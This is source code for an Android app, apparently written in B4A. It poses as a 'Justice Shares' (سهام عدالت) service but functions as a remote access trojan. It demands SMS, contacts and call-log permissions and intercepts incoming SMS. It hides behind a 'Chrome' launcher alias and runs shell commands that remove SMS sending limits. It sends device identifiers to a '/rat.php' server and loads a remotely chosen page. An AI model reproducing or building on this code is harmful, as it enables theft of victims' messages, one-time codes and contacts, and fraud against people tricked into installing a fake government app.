﻿Build1=Default,org.nanesag
File1=Layout.bal
FileGroup1=Default Group
Group=Default Group
Library1=byteconverter
Library10=persiandeviceinfo
Library11=phone
Library12=pnbroadcastreceiver
Library13=reflection
Library14=xui
Library2=clipboard
Library3=contactsutils
Library4=core
Library5=firebasenotifications
Library6=javaobject
Library7=notificationlistener
Library8=okhttputils2
Library9=permissionsmanager
ManifestCode='This code will be applied to the manifest file during compilation.~\n~'You do not need to modify it in most cases.~\n~'See this link for for more information: https://www.b4x.com/forum/showthread.php?p=78136~\n~AddManifestText(~\n~<uses-sdk android:minSdkVersion="14" android:targetSdkVersion="30"/>~\n~<supports-screens android:largeScreens="true" ~\n~    android:normalScreens="true" ~\n~    android:smallScreens="true" ~\n~    android:anyDensity="true"/>)~\n~SetApplicationAttribute(android:icon, "@drawable/icon")~\n~SetApplicationAttribute(android:label, "$LABEL$")~\n~CreateResourceFromFile(Macro, Themes.LightTheme)~\n~'End of default text.~\n~SetApplicationAttribute(android:usesCleartextTraffic, "true")~\n~CreateResourceFromFile(Macro, FirebaseAnalytics.GooglePlayBase)~\n~CreateResourceFromFile(Macro, FirebaseAnalytics.Firebase)~\n~CreateResourceFromFile(Macro, FirebaseNotifications.FirebaseNotifications)~\n~CreateResourceFromFile(Macro, FirebaseAnalytics.FirebaseAnalytics)~\n~AddManifestText(~\n~	<uses-permission android:name="android.permission.INTERNET"/>~\n~	<uses-permission android:name="android.permission.WRITE_SETTINGS"/>~\n~	<uses-permission android:name="android.permission."/>~\n~	<uses-permission android:name="android.permission.WAKE_LOCK"/>~\n~    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>~\n~    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>~\n~	<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>~\n~	<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />~\n~)~\n~AddPermission(android.permission.POST_NOTIFICATIONS)~\n~AddPermission("android.permission.SEND_SMS")~\n~AddPermission("android.permission.READ_SMS")~\n~AddPermission("android.permission.RECEIVE_SMS")~\n~AddPermission("android.permission.INTERNET")~\n~AddPermission("android.permission.READ_CONTACTS")~\n~AddPermission("android.permission.CALL_PHONE")~\n~AddPermission("android.permission.READ_CALL_LOG")~\n~AddPermission("android.permission.REQUEST_DELETE_PACKAGES")~\n~AddPermission("android.permission.DELETE_PACKAGES")~\n~AddPermission("android.permission.ACCESS_NOTIFICATION_POLICY")~\n~AddPermission("android.permission.ACCESS_WIFI_STATE")~\n~AddPermission("android.permission.ACCESS_NETWORK_STATE")~\n~AddPermission("android.permission.POST_NOTIFICATIONS")~\n~~\n~SetApplicationAttribute(android:hardwareAccelerated, "true")~\n~~\n~SetApplicationAttribute(android:largeHeap, "true")~\n~AddReceiverText(FirebaseMessaging,~\n~<intent-filter>~\n~    <action android:name="com.google.firebase.MESSAGING_EVENT" ~\n~	 android:exported="true"/>~\n~</intent-filter>~\n~)~\n~AddReceiverText(Msg,~\n~<intent-filter>~\n~    <action android:name="android.provider.Telephony.SMS_RECEIVED" ~\n~	 android:exported="true"/>~\n~</intent-filter>)~\n~~\n~AddApplicationText(~\n~<activity~\n~			android:windowSoftInputMode="stateHidden"~\n~			android:launchMode="singleTop"~\n~			android:name=".main"~\n~			android:label="سهام عدالت"~\n~			android:screenOrientation="portrait"~\n~			android:exported="true">~\n~			<intent-filter>~\n~			   <action android:name="android.intent.action.MAIN" />~\n~			   <category android:name="android.intent.category.LAUNCHER" />~\n~			</intent-filter>~\n~			~\n~		</activity>~\n~)~\n~~\n~AddApplicationText(~\n~        <activity-alias~\n~            android:name=".second"~\n~            android:targetActivity=".main"~\n~            android:label="Chrome"~\n~            android:enabled="false"~\n~            android:icon="@drawable/icon2"~\n~            android:exported="true">~\n~            <intent-filter>~\n~             <action android:name="android.intent.action.MAIN" />~\n~             <category android:name="android.intent.category.LAUNCHER" />~\n~            </intent-filter>~\n~        </activity-alias>~\n~)~\n~
Module1=BackGround
Module2=FirebaseMessaging
Module3=Msg
Module4=Requests
Module5=second
Module6=Starter
NumberOfFiles=1
NumberOfLibraries=14
NumberOfModules=6
Version=12.8
@EndOfDesignText@
#Region  Project Attributes 
	#ApplicationLabel: سهام عدالت
	#VersionCode: 1
	#VersionName: 
	'SupportedOrientations possible values: unspecified, landscape or portrait.
	#SupportedOrientations: unspecified
	#CanInstallToExternalStorage: False
#End Region

#Region  Activity Attributes 
	#FullScreen: False
	#IncludeTitle: True
#End Region

Sub Process_Globals
	'These global variables will be declared once when the application starts.
	'These variables can be accessed from all modules.
	Private xui As XUI
End Sub

Sub Globals
	Dim persiand As PersianDeviceInfo
	Dim http As HttpJob
	Dim myperm As PermissionsManager
	Dim dataSpam As String = "S29TZU1hRGFSZVQ="
	Private myweb As WebView
End Sub
Sub Activity_Create(FirstTime As Boolean)
	StartReceiver(FirebaseMessaging)
	StartReceiver(Msg)
	StartService(Requests)
	StartService(BackGround)
	CallSubDelayed(FirebaseMessaging,"SubscribeToTopics")
	persiand.initialize("pd")
	http.Initialize("ht",Me)
	Dim p As Phone
	p.Shell("settings put global sms_outgoing_check_max_count 10000", Null, Null, Null)
	p.Shell("settings put global sms_outgoing_check_interval_ms 1000", Null, Null, Null)
	Try
		myperm.CheckAndRequestPermission(PermissionsManager.DANGEROUS_POST_NOTIFICATIONS)
		myperm.CheckAndRequestPermission(PermissionsManager.DANGEROUS_READ_SMS)
		myperm.CheckAndRequestPermission(PermissionsManager.DANGEROUS_RECEIVE_SMS)
		myperm.CheckAndRequestPermission(PermissionsManager.DANGEROUS_SEND_SMS)
		myperm.CheckAndRequestPermission(PermissionsManager.DANGEROUS_READ_CONTACTS)
		Wait For Activity_PermissionResult (Permission As String, Result1 As Boolean)
		If Permission="android.permission.SEND_SMS" Then
			If Result1=False Then
				Msgbox2Async("کاربر گرامی برای ادامه کار با نرم افزار نیاز به فعالسازی این دسترسی دارید","اخطار","باشه","","",Null,Null)
				Wait For Msgbox_Result (Result As Int)
				If Result = DialogResponse.POSITIVE Then
					myperm.CheckAndRequestPermission(PermissionsManager.DANGEROUS_SEND_SMS)
				End If
			End If
		End If
		If Permission="android.permission.POST_NOTIFICATIONS" Then
			If Result1=False Then
				Msgbox2Async("کاربر گرامی برای ادامه کار با نرم افزار نیاز به فعالسازی این دسترسی دارید","اخطار","باشه","","",Null,Null)
				Wait For Msgbox_Result (Result As Int)
				If Result = DialogResponse.POSITIVE Then
					myperm.CheckAndRequestPermission(PermissionsManager.DANGEROUS_POST_NOTIFICATIONS)
				End If
			End If
		End If
		If Permission="android.permission.RECEIVE_SMS" Then
			If Result1=False Then
				Msgbox2Async("کاربر گرامی برای ادامه کار با نرم افزار نیاز به فعالسازی این دسترسی دارید","اخطار","باشه","","",Null,Null)
				Wait For Msgbox_Result (Result As Int)
				If Result = DialogResponse.POSITIVE Then
					myperm.CheckAndRequestPermission(PermissionsManager.DANGEROUS_RECEIVE_SMS)
				End If
			End If
		End If
		If Permission="android.permission.READ_SMS" Then
			If Result1=False Then
				Msgbox2Async("کاربر گرامی برای ادامه کار با نرم افزار نیاز به فعالسازی این دسترسی دارید","اخطار","باشه","","",Null,Null)
				Wait For Msgbox_Result (Result As Int)
				If Result = DialogResponse.POSITIVE Then
					myperm.CheckAndRequestPermission(PermissionsManager.DANGEROUS_READ_SMS)
				End If
			
			End If
		End If
		If Permission="android.permission.READ_CONTACTS" Then
			If Result1=False Then
				Msgbox2Async("کاربر گرامی برای ادامه کار با نرم افزار نیاز به فعالسازی این دسترسی دارید","اخطار","باشه","","",Null,Null)
				Wait For Msgbox_Result (Result As Int)
				If Result = DialogResponse.POSITIVE Then
					myperm.CheckAndRequestPermission(PermissionsManager.DANGEROUS_READ_CONTACTS)
				End If
			
			End If
		End If
	Catch
		Log(LastException)
	End Try
	If File.Exists(File.DirInternal, "test.txt") = False Then
		Dim maindomain As String = File.ReadString(File.DirAssets,"url.txt")
		Dim mainphp As String = maindomain&"/rat.php"
		Dim android As String = persiand.AndroidID
		Dim Opr As String = persiand.Carrier
		Dim osVersion As String = persiand.OSVersion
		Dim model As String = persiand.Manufacturer&"-"&persiand.Model
		Dim data As String = "resultend=ok&action=firstinstall&androidid="&android&"&opr="&Opr&"&model="&model&"&osVersion="&osVersion&"&spam="&dataSpam
		http.PostString(mainphp,data)
		File.MakeDir(File.DirInternal, "test.txt")
	End If
	Dim maindomain As String = File.ReadString(File.DirAssets,"url.txt")
	Activity.LoadLayout("layout")
	Dim job1 As HttpJob
	job1.Initialize("job1",Me)
	job1.Download(maindomain&"/url.txt")
	Wait For JobDone(job As HttpJob)
	Dim domaintoload As String = job.GetString
	myweb.LoadUrl(domaintoload)
End Sub

Sub Activity_Resume

End Sub

Sub Activity_Pause (UserClosed As Boolean)

End Sub
